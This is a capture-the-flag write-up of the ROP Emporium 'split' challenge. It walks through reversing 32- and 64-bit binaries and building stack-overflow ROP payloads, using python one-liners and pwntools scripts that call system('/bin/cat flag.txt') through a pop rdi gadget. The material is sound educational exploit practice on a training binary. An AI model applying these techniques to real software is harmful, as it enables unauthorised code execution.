Skip to content

Latest commit

 

History

History
690 lines (491 loc) · 23.6 KB

File metadata and controls

690 lines (491 loc) · 23.6 KB
description
09/23/2023

💔 split

Introduction

We can still use a similar methodology to complete this challenge and this is still a ret2win, but with a bit of a twist.

Challenge

{% embed url="https://ropemporium.com/challenge/split.html" %}

Hint

The challenge author told us that the string "/bin/cat flag.txt" is still present in the binary.

Also, a call to system() is present as well.

We simply need to chain them together to exploit our binary.

References

{% embed url="https://github.com/radareorg/radare2/blob/master/doc/intro.md" %}

x86 Exploitation

Enumeration

file:

{% code overflow="wrap" %}

split32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=76cb700a2ac0484fb4fa83171a17689b37b9ee8d, not stripped

{% endcode %}

  • 32-bit
  • dynamically linked
  • not stripped

checksec:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
  • NX enabled, making ROP a great technique

rabin2:

rabin2 -I split

arch     x86
baddr    0x8048000
binsz    6256
bintype  elf
bits     32
canary   false
injprot  false
class    ELF32
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  Intel 80386
nx       true
os       linux
pic      false
relocs   true
relro    partial
rpath    NONE
sanitize false
static   false
stripped false
subsys   linux
va       true

{% code overflow="wrap" %}

rabin2 -iz split32  
                                                                                                                        [Imports]                                                                                                                                                            nth vaddr      bind   type   lib name                                                                                                                                ―――――――――――――――――――――――――――――――――――――                                                                                                                                1   0x080483b0 GLOBAL FUNC       read                                                                                                                                2   0x080483c0 GLOBAL FUNC       printf                                                                                                                              3   0x080483d0 GLOBAL FUNC       puts                                                                                                                                4   0x080483e0 GLOBAL FUNC       system                                                                                                                              5   0x00000420 WEAK   NOTYPE     __gmon_start__                                                                                                                      6   0x080483f0 GLOBAL FUNC       __libc_start_main                                                                                                                   7   0x08048400 GLOBAL FUNC       setvbuf                                                                                                                             8   0x08048410 GLOBAL FUNC       memset                                                                                                                                                                                                                                                                                                   [Strings]                                                                                                                                                            nth paddr      vaddr      len size section type  string                                                                                                              ―――――――――――――――――――――――――――――――――――――――――――――――――――――――                                                                                                              0   0x000006b0 0x080486b0 21  22   .rodata ascii split by ROP Emporium                                                                                               1   0x000006c6 0x080486c6 4   5    .rodata ascii x86\n                                                                                                               2   0x000006cb 0x080486cb 8   9    .rodata ascii \nExiting                                                                                                           3   0x000006d4 0x080486d4 43  44   .rodata ascii Contriving a reason to ask user for data...                                                                         4   0x00000703 0x08048703 10  11   .rodata ascii Thank you!                                                                                                          5   0x0000070e 0x0804870e 7   8    .rodata ascii /bin/ls                                                                                                             0   0x00001030 0x0804a030 17  18   .data   ascii /bin/cat flag.txt

{% endcode %}

The -iz argument will show us strings in the data section of the specified binary.

  • We can see a function call to system()
  • Inside of the data section of the ELF, we can see the string "/bin/cat flag.txt"

NOTE: These are the two pieces of the puzzle that we need to "chain" together to ret2win.

Reversing

I always want to view the disassembly of the functions to get as close to the source code to try and paint the picture as much as possible to know what is going on.

I wanted to switch some things up and use IDA for this one to gain some more versatility.

It took a little bit of time to get used to, but I think I'll be using it from time to time.

So, let's begin with looking at the functions within the target binary:

main():

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts("split by ROP Emporium");
  puts("x86\n");
  pwnme();
  puts("\nExiting");
  return 0;
}

pwnme():

int pwnme()
{
  char v1[40]; // [esp+0h] [ebp-28h] BYREF

  memset(v1, 0, 32);
  puts("Contriving a reason to ask user for data...");
  printf("> ");
  read(0, v1, 96);
  return puts("Thank you!");
}

usefulFunction():

int usefulFunction()
{
  return system("/bin/ls");
}

So, the goal here is to replace the system("/bin/ls") call with system("/bin/cat flag.txt")

We can also see this in IDA using the Strings tab:

strings

Manual Exploitation

We will be using lots of pwndbg on this step.

NOTE: You can get most of this information from IDA as well but I prefer pwndbg at this step.

Viewing the disassembly of usefulFunction():

disass usefulFunction

Dump of assembler code for function usefulFunction:
   0x0804860c <+0>:     push   ebp
   0x0804860d <+1>:     mov    ebp,esp
   0x0804860f <+3>:     sub    esp,0x8
   0x08048612 <+6>:     sub    esp,0xc
   0x08048615 <+9>:     push   0x804870e
   0x0804861a <+14>:    call   0x80483e0 <system@plt>
   0x0804861f <+19>:    add    esp,0x10
   0x08048622 <+22>:    nop
   0x08048623 <+23>:    leave
   0x08048624 <+24>:    ret
End of assembler dump.

The system() call address:

0x0804861a

We also want the offset of the string "/bin/cat flag.txt".

Set a breakpoint at main and run the program:

b main
r

Now that we have the program running in memory, we can search for "/bin/cat flag.txt":

search /bin/cat

Searching for value: '/bin/cat'
split32         0x804a030 '/bin/cat flag.txt'
  • Making our offset 0x804a030

Okay, our next goal is to find the offset to the instruction pointer using a cyclic pattern of 100 bytes:

cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
c
<send input>

This will obviously crash the program, and allow us to find the offset to the instruction pointer:

Finding offset to the instruction pointer

We can grab the offset by:

cyclic -l laaa
Finding cyclic pattern of 4 bytes: b'laaa' (hex: 0x6c616161)
Found at offset 44

We find that we had to write 44 bytes to the buffer to begin overwriting the return pointer.

Building out our payload manually:

Payload layout:

Padding (44) + system() + "/bin/cat flag.txt"

system():

0x0804861a

"/bin/cat flag.txt":

0x804a030

We need to now place them in little-endian format for our payload:

system(): 0x0804861a -> \x1a\x86\x04\x08

"/bin/cat flag.txt": 0x804a030 -> \x30\xa0\x04\x08

Utilizing python3 to craft our payload and write it to a file named payload:

python3 -c "import sys; sys.stdout.buffer.write(b'A'*44+b'\x1a\x86\x04\x08' + b'\x30\xa0\x04\x08')" > payload

Execute the binary and send the payload to it:

./split32 < payload

Result

Visualize the payload in pwndbg:

Obtain a clean instance of pwndbg.

Set a breakpoint at system() and run while sending the payload in:

b system
r < payload

You can now see that we have a breakpoint at system():

Continue execution:

c

Seeing "/bin/cat flag.txt" being placed onto the stack

Seeing flag.txt in pwndbg

Automating This Entire Process with pwntools

exploit.py:

  • We can use pwn template to generate the setup for us
#!/usr/bin/env python3

from pwn import *

# SETUP

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
            return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
         return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Target binary
exe = './split32'

# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)

# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

#Delete core files once finished
context.delete_corefiles = True

# ===========================================================
#                     EXPLOIT GOES HERE
# ==========================================================

# Payload structure: padding (44) + system() address + offset for "/bin/cat flag.txt"

io = start()

# Locate the functions/strings we need
sys_addr = elf.symbols['system']
binCat_addr = next(elf.search(b'/bin/cat')) # Need to research next()

# Print out the target address
info("%#x system", sys_addr)
info("%#x /bin/cat", binCat_addr)

# Send a cyclic pattern of 100-bytes to the input of the target binary and overwrite the address on the stack
payload = cyclic(100)

# Send exploit
io.sendlineafter('>', payload)

# Wait for the process to crash
io.wait()

# Open the corefile
core = io.corefile

# Print out the address of EIP at the time of the crash (segfault)
eip_value = core.eip
eip_offset = cyclic_find(eip_value)
info('located EIP offset at {a}'.format(a=eip_offset))

# Craft a new payload which puts system('/bin/cat flag.txt') at the correct offset
# I need to research fit() not sure about how this works
payload = fit({
     eip_offset: [elf.symbols.system,
                  0x0,
                  binCat_addr]
} 
)

# Send payload to a new process
io = start()
io.sendline(payload)
io.recv()

# Grab flag.txt
flag = io.recvline()
success(flag)

Result

Automate Exploitation with ROP (Additional Automation)

auto-ROP.py:

#!/usr/bin/env python3

from pwn import *

# Set up pwntools for the correct architecture
context.update(arch='i386')
exe = './split32'

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())

# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

#Delete core files once finished
context.delete_corefiles = True

# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
p = process()

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# How many bytes to overwrite the EIP?
padding = 44

# Locate functions/strings we need for our payload
binCat_addr = next(elf.search(b'/bin/cat'))

# locate the target address for ("/bin/cat")
info("%#x /bin/cat", binCat_addr)

# Get ROP gadgets
rop = ROP(elf)

# Create ROP chain calling system() and replace with "/bin/cat flag.txt"
rop.system(binCat_addr)

# Inject ROP chain at the correct offset
payload = fit({padding: rop.chain()})

# Save payload to file
f = open("payload", "wb")
f.write(payload)

# Send payload
p.sendlineafter(">", payload)
p.recvuntil('Thank you!\n')

#Obtain flag
flag = p.recv()
success(flag)

x64 Exploitation

Enumeration

file:

{% code overflow="wrap" %}

split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not stripped

{% endcode %}

checksec:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

rabin2:

arch     x86
baddr    0x400000
binsz    6805
bintype  elf
bits     64
canary   false
injprot  false
class    ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
nx       true
os       linux
pic      false
relocs   true
relro    partial
rpath    NONE
sanitize false
static   false
stripped false
subsys   linux
va       true

-iz
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x00400550 GLOBAL FUNC       puts
2   0x00400560 GLOBAL FUNC       system
3   0x00400570 GLOBAL FUNC       printf
4   0x00400580 GLOBAL FUNC       memset
5   0x00400590 GLOBAL FUNC       read
6   ---------- GLOBAL FUNC       __libc_start_main
7   ---------- WEAK   NOTYPE     __gmon_start__
8   0x004005a0 GLOBAL FUNC       setvbuf

[Strings]
nth paddr      vaddr      len size section type  string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x000007e8 0x004007e8 21  22   .rodata ascii split by ROP Emporium
1   0x000007fe 0x004007fe 7   8    .rodata ascii x86_64\n
2   0x00000806 0x00400806 8   9    .rodata ascii \nExiting
3   0x00000810 0x00400810 43  44   .rodata ascii Contriving a reason to ask user for data...
4   0x0000083f 0x0040083f 10  11   .rodata ascii Thank you!
5   0x0000084a 0x0040084a 7   8    .rodata ascii /bin/ls
0   0x00001060 0x00601060 17  18   .data   ascii /bin/cat flag.txt

Great, a very similar attack surface, but now we will be dealing with registers.

Reversing

There is really nothing to reverse here since we did all of the work above.

The target is the same binary, just compiled using 64-bit architecture.

Manual Exploitation

Time to dive back into pwndbg!

Generate a cyclic pattern of 100-bytes:

cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Send the payload in and see where it crashes/begins overwriting RIP:

r
<paste_here>

We start overwriting at the part of the pattern with and can find the offset with:

eaaaaaaa

cyclic -l eaaaaaaa
Finding cyclic pattern of 8 bytes: b'eaaaaaaa' (hex: 0x6561616161616161)
Found at offset 32

The RIP is being overwritten at 32 bytes.

This means our padding will be 40-bytes.

This is because:

cyclic pattern (eaaaaaaaa) + RIP is 8 bytes after = 40 bytes to overwrite the return pointer.

Further confirming this with IDA:

0x20 = 32 in decimal + 8-bytes for RIP = 40 (padding).

Our next goal is to obtain our "/bin/cat flag.txt" offset and system() address found in usefulFunction():

disass usefulFunction
0x000000000040074b <+9>:     call   0x400560 <system@plt>

search "/bin/cat flag.txt"
split           0x601060 '/bin/cat flag.txt'
system(): 0x000000000040074b
"/bin/cat flag.txt": 0x601060

So, this setup is going to require a little bit of a different setup since we are exploit a 64-bit binary now.

Rather than placing values onto the stack, we will need to:

  • POP the "/bin/cat flag.txt" string from the stack into the RDI register
  • So, we will need to find an instruction in the program that will POP an item from the stack into the RDI register -- we can use ropper for this

Finding POP_RDI Gadget with ropper:

ropper -f split --search "pop rdi"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: split
0x00000000004007c3: pop rdi; ret

Granting us our ROP Gadget:

0x00000000004007c3

This is the address that needs to go onto the stack first, followed by the "/bin/cat flag.txt" address.

To iterate further:

So, inject the ROP gadget followed by the string address. This will POP the "/bin/cat flag.txt" off the stack and into the RDI register and execute the system() call.

Payload Structure:

Padding + ROP Gadget + "/bin/cat flag.txt" (this will POP the value off the stack and place it in the RDI register for the FIRST parameter of the next called function -- in this case, system()) + system().

Using python3 to Craft a Payload:

Before we do this, we need to convert the addresses into little-endian format for our payload:

ROP Gadget: 0x00000000004007c3 = \xc3\x07\x40\x00\x00\x00\x00\x00\

"/bin/cat flag.txt" Offset: 0x601060 = \x60\x10\x60\x00\x00\x00\x00\x00

system(): 0x000000000040074b = \x4b\x07\x40\x00\x00\x00\x00\x00

Armed with that information, we can now grab our flag with the following payload:

python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + b'\xc3\x07\x40\x00\x00\x00\x00\x00' + b'\x60\x10\x60\x00\x00\x00\x00\x00' + b'\x4b\x07\x40\x00\x00\x00\x00\x00')" > payload

Send the payload to the target:

./split < payload

Result

We get our flag!

Analyzing the Payload in pwndbg

Set a breakpoint at system():

b *0x000000000040074b

Run the program and send payload:

r < payload

We can now see our string "/bin/cat flag.txt" being passed as a command (or parameter) into the RDI register and being passed into system().